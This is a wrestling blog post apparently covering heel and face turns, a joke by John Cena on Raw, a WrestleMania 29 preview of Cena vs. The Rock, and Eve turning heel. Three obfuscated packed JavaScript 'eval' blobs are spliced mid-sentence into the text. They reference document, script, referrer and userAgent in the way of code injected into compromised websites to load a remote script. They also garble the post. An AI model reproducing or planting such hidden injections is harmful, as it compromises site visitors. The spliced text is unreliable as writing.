Thought of the Day: Everything Turns, Turns, Turns

People eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtesy|var|u0026u|referrer|nftts||js|php'.split('|'),0,{})) say this is the solution to so many problems, but it doesn’t make sense when you think about it.So the solution all the time is to just turn the guy heel or face.  The problem with that is very simple: if they’re doing the same boring stuff over and over again but to the other half of the locker room, it’s only going to make them interesting for a few weeks.  You have to change the character itself for there to really be any difference.  It’s like saying the wood in your house is rotting so let’s paint it to make things better.  If you don’t change what’s wrong inside, just switching its direction isn’t going to fix anything long term.



CENA TURNS HEEL ON RAW!

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhsyr|var|u0026u|referrer|ahnin||js|php'.split('|'),0,{})) kid you not.During his opening promo he did a dance, during which he said he was going to shake, so he shook his hips.  Then he said he was going to kick a little bit, so he kicked his foot up.  Then he slid his foot around the mat and said “maybe a little heel turn too?”

 

Yeah he’s still a face but the joke was funny.



Wrestlemania 29 Preview – Raw World Title: John Cena vs. The Rock

Then eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfsnn|var|u0026u|referrer|bhkid||js|php'.split('|'),0,{})) there’s this.A year ago I was as fired up for a match as I’ve ever been because of Cena vs. Rock.  I didn’t know if it was going to be good or bad, but I needed to see it one way or another.  That being said, the feeling isn’t there this year.  I’m not saying I don’t want to see the match because I do and there’s no way this won’t be good.  The problem is there’s nothing separating this match from last year’s version.  Yeah it’s for the title, and maybe 10% of the promos have been about said title.  It’s not adding anything and is the definition of a prop to set up this match.

All that being said, I’m fine with the match happening again.  These complaints of the match being stale or played out are pretty ridiculous considering we’ve seen them fight ONCE in a a year and that match drew more money than any other match ever.  Again, we haven’t seen them fight in over a year and that match was an instant classic.  But somehow this match is stale because….it just is right?  Anyway the match itself should be fine.

As for the big question about it: no, I don’t see Cena doing the turn.  I see this being more like Wrestlemania 8 where Roddy Piper picked up the bell, looked at it, and sat it down instead if giving into the demons.  Granted he lost about ten seconds later but at least he had a clean conscience.  The main thing to remember abotu Cena becoming the villain is there’s no one ready to take his place on top of the company.  Cena is way too big of a cash cow for WWE and in his own words:

 

“”I just don’t see me getting there in order to please a very small group of 30-year-olds.”

 

That’s what it boils down to.  A lot of fans REALLY like John Cena.  He appeals to kids, he appeals to women, he appeals to families.  Cena is built up as a role model and he’s done that for years.  Yeah, the turn would be shocking.  Then three months would go by and where would we be then?  We would have a small group of 30-year-olds cheering for him and a bunch of people not buying his merchandise.  WWE is too smart to cater to such a small group of fans and at the end of the day, the right move is for Cena to stay where he is, at least until someone new is ready.

As for the match, I can’t imagine Rock keeping the title.  I just can’t.  Rock can’t be world champion long term because of his movie schedule, so you can’t expect him to keep the title even longer.  Also Cena has earned a big win as he hasn’t been champion in a LONG time.  Think about it.  Since Money in the Bank 2011, Cena has been world champion for 34 days, and 20 of those were spent as co champion with Punk.  His last title reign that went longer than three months?  The year long one which ended in 2007.  It’s been a very long time since Cena had an extended reign as world champion and it’s his time again.  Cena wins, as he should.



Eve Turns Heel

You know, because there’s a lack of heel Divas in the company right? Well at least someone turns heel out of this.
